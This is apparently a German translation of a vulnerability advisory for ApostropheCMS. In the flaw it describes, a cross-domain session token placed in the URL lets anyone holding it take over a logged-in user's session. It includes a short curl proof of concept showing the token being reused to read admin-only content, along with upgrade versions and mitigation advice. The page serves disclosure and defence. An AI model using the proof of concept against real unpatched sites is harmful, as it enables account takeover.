Mittel

ApostropheCMS: Domänenübergreifendes Sitzungstoken in URL ermöglicht Sitzungsübernahme

  • Veröffentlicht: 20.10.2026
  • Aktualisiert: 21.10.2026 10:00

Zusammenfassung

Die domänenübergreifende Sitzungsmigration von Apostrophe gibt ein einmaliges Sitzungstoken als URL-Abfrageparameter aus und speichert es im Mongo-Cache. Jeder Client, der dieses Token vorlegt, übernimmt ohne Angabe von Anmeldedaten die vollständige Sitzung des Zielbenutzers (einschließlich passport.user).

Details

packages/apostrophe/modules/@apostrophecms/i18n/index.js:

  • Die Token-Generierung bei Host- und Locale-übergreifenden Abläufen (L479–487) sowie die sprachübergreifende Weiterleitung der Passport-Bridge (passport-bridge/index.js L557–593) platzieren das Token in der URL.
  • acceptCrossDomainSessionToken (L258–298) liest ?aposCrossDomainSessionToken, wendet die gespeicherte Sitzung (Cookie + passport.user) mittels Object.assign auf req.session an und leert anschließend den Cache-Eintrag unter dem Namespace @apostrophecms/i18n:cross-domain-sessions.
  • Die Middleware wird ohne before: für jede URL registriert (Express findModuleMiddlewareAndRoutes L820–879); verifiziert mit APOS_LOG_ALL_ROUTES=1.

PoC

bash
# 0) Anonymous baseline: admin-only draft → 403
# 1) Admin logs in legitimately (token minted into redirect URL):
curl -c admin.cookies -X POST -H "Content-Type: application/json" \
     --data '{"username":"admin","password":"adminpassword","session":true}' \
     http://localhost:3100/api/v1/@apostrophecms/login/login
# 2) Attacker with NO credentials visits the leaked token URL:
curl -c atk.cookies "http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN"
#    → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie
# 3) Attacker reads admin-only content via adopted session:
curl -b atk.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"
#    → 200  adopted-session read -> Secret Private Page | secretData = TOP-SECRET-VALUE-abc123
# 4) Cache entry consumed (single-use): {"value":null}

Auswirkungen

Jeder, der in den Besitz des Tokens gelangt, kann die Sitzung des migrierten Benutzers kapern bzw. das Konto übernehmen und übernimmt dabei sämtliche Kontoberechtigungen. Ein Abfließen des Tokens ist realistisch, da es sich in URLs befindet und somit in Server-, Proxy- und Browser-Zugriffsprotokollen, im Browserverlauf sowie im Referer-Header auftauchen kann, wenn sich der Ziel-Host von der Quelle unterscheidet (der vorgesehene Anwendungsfall). Die Einmalnutzung schränkt das Zeitfenster zwar ein, beseitigt es jedoch nicht.

Was zu tun ist

Aktualisieren Sie apostrophe auf Version 4.33.0 oder höher und @apostrophecms/passport-bridge auf Version 1.6.1 oder höher. Als allgemeine Gegenmaßnahme sollte das Token über ein kurzlebiges, signiertes HttpOnly-SameSite-Cookie statt über einen Abfrageparameter übermittelt werden; zudem sollte der Abruf an das exakte Host-Paar gebunden sein, innerhalb von Sekunden ablaufen und niemals protokolliert werden.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket apostrophe < 4.33.0 4.33.0
npm-Paket @apostrophecms/passport-bridge < 1.6.1 1.6.1

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-598
Plattform
npm
Paket
apostrophe, @apostrophecms/passport-bridge
Veröffentlicht
20.10.2026
Aktualisiert
21.10.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-hhvr-8m24-qqr3 - CC BY 4.0

Schwachstellenhistorie: apostrophe

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (27) im Archiv
Einträge insgesamt
27
Erste → letzte
09.2020 10.2026
Ohne Fix
4
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 2
  • Hoch 8
  • Mittel 13
  • Niedrig 4

Veröffentlichungen pro Jahr

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 23
Schweregrad:
  1. ApostropheCMS: Domänenübergreifendes Sitzungstoken in URL ermöglicht Sitzungsübernahme dieser Eintrag
    Mittel CVE-2026-113669 < 4.33.0 4.33.0
  2. Hoch · 7.3 CVE-2026-45011 = 4.29.0 keine Korrektur
  3. Kritisch · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.